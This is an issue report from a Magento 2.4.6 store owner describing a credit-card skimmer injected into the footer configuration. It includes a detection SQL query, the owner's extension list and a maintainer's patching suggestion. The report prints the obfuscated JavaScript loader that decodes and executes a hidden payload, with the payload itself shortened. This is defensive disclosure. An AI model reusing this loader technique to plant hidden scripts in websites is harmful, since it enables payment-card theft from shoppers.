Hacking attempt at Checkout Payment Method

[Arsalanulhaq]

Preconditions and environment

• Magento version
  2.4.6 Community Edition
• Anything else that would help a developer reproduce the bug
  • No custom modifications to core_config_data write logic from my side
  • Multiple store views configured (but not using them)

❗ Important: I’m reporting a potential security issue or hardening gap. I don’t know the original attack vector. I only discovered the payload after the compromised.

Steps to reproduce

What I can describe is what I observed:

1. Notice an unknown credit-card payment method appearing on checkout on my production Magento 2.4 store.
2. Investigate frontend output and find a large obfuscated <script> being printed in the footer on all pages.
3. In the database, query core_config_data for footer / head content:
   SELECT * FROM core_config_data WHERE path IN ('design/footer/absolute_footer', 'design/head/includes') OR value LIKE '%<script%Function(u83215)%';

• Find that for all store views, the path = 'design/footer/absolute_footer' contains the following script (shortened here):
  <script> var j7239 = "{very long encoded string}"; var x20335 = 29; u83215 = j7239; r62571 = u83215.split("t30"), f19968 = parseInt(r62571[0], 29), l30111 = parseInt(r62571[1], 29); var o52799 = []; for (var p97949 = 0; p97949 < r62571[2].length; p97949 += 2) { o52799.push(r62571[2].substring(p97949, p97949 + 2)); } u83215 = ""; for (var i16491 = 0; o52799.length > i16491; i16491++) { u83215 += String.fromCharCode( ((parseInt(o52799[i16491], x20335) - f19968) ^ l30111) - f19968 ); } Function(u83215)["call"](); </script>

5. Decoding this script (offline) reveals JavaScript that appears to hook into the checkout and inject/handle credit-card-related behavior (skimmer-style).

At this point I removed the script from core_config_data and disabled suspicious payment methods, so I cannot continue testing in a clean “lab” scenario.

Expected result

core_config_data entries such as design/footer/absolute_footer should not be silently modified by anything other than:

• explicit admin actions, or
• legitimate configuration deployment tools.
• Malicious/obfuscated payloads like this should not be able to:
  • be injected without clear trace/logs, and/or
  • persist undetected in theme configuration.
    Ideally, Magento should provide:
• stronger hardening / logging / restrictions around HTML/JS in config values that are rendered globally (e.g. footer/head),
• or best-practice guidance/controls to limit arbitrary script injection in these config paths

Actual result

At some point (exact time unknown), a very large obfuscated JavaScript payload was written into core_config_data.value for path = 'design/footer/absolute_footer' for all store views.

This payload is decoded at runtime and executed via:
Function(u83215)["call"]();

While the root cause is unknown, the impact I observed:

• An unauthorized credit card payment method appeared on checkout.
• The obfuscated script appears to implement skimming behavior (capturing checkout/payment data and sending it externally).
• I did not manually add any JavaScript in footer/head config and no other admins report adding it.

This suggests either:

• an underlying vulnerability (in core, extension, or admin interface) that allowed arbitrary config write to core_config_data, or
• the need for additional security hardening or recommendations in Magento to:
  • restrict/monitor script injection via design/footer/absolute_footer and similar paths,
  • make it easier for store owners to detect and respond to such compromises.

Additional information

hackingScript.txt

Script attached to this issue which the hacker has used or using continuously after every 2-3 days. I am just removing again n again for now and still trying to find a solution.

Magento version is 2.4.6 Community edition
I have quite alot of plugins installed:

Amasty (7)

• Amasty\Base
• Amasty\Geoip
• Amasty\GdprCookie
• Amasty\GdprFrontendUi
• Amasty\GdprLite
• Amasty\GdprLiteSubscriptionPackage
• Amasty\GoogleConsentMode

Fooman (2)

• Fooman\EmailAttachments
• Fooman\PrintOrderPdf

HK (1)

• HK\CustomSwatches

Kunstt (3)

• Kunstt\Content
• Kunstt\Csp
• Kunstt\Preventordertrojan

Mageants (1)

• Mageants\GiftCertificate

Magedelight (2)

• Magedelight\Base
• Magedelight\Ga4

Magefan (2)

• Magefan\Community
• Magefan\RocketJavaScript

Mageplaza (5)

• Mageplaza\AjaxLayer
• Mageplaza\Core
• Mageplaza\DeleteOrders
• Mageplaza\LayeredNavigation
• Mageplaza\Search

MageWorx (2)

• MageWorx\GiftCards
• MageWorx\Info

Magetrend (1)

• Magetrend\PdfTemplates

Magezon (2)

• Magezon\Core
• Magezon\LazyLoad

Magmodules (1)

• Magmodules\GoogleShopping

Magento (1)

• Magento\BundleConfig

Meetanshi (1)

• Meetanshi\CookieNotice

Mirasvit (4)

• Mirasvit\Core
• Mirasvit\Feed
• Mirasvit\Report
• Mirasvit\ReportApi

Smartwave (6)

• Smartwave\Core
• Smartwave\Dailydeals
• Smartwave\Filterproducts
• Smartwave\Megamenu
• Smartwave\Porto
• Smartwave\Socialfeeds

Tun2U (1)

• Tun2U\AutoRelated

Ulmod (1)

• Ulmod\AbsolutePricing

Although some of them are disabled and being used anymore

Release note

No response

Triage and priority

• Severity: S0 - Affects critical data or functionality and leaves users without workaround.
• Severity: S1 - Affects critical data or functionality and forces users to employ a workaround.
• Severity: S2 - Affects non-critical data or functionality and forces users to employ a workaround.
• Severity: S3 - Affects non-critical data or functionality and does not force users to employ a workaround.
• Severity: S4 - Affects aesthetics, professional look and feel, “quality” or “usability”.

[m2-assistant]

Hi @Arsalanulhaq. Thank you for your report.
To speed up processing of this issue, make sure that the issue is reproducible on the vanilla Magento instance following Steps to reproduce.

• For more details, review the Magento Contributor Assistant documentation.
• Add a comment to assign the issue: @magento I am working on this
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[ljr95]

Hello,

I’m not sure if I understood correctly, but you are currently running version 2.4.6.
For this version, there are currently 13 security patches available. Shouldn’t we start by upgrading to Magento 2.4.6-p13?

For your information, the end of life of version 2.4.6 is scheduled for August 11, 2026, which is approaching quickly.

Kind regards,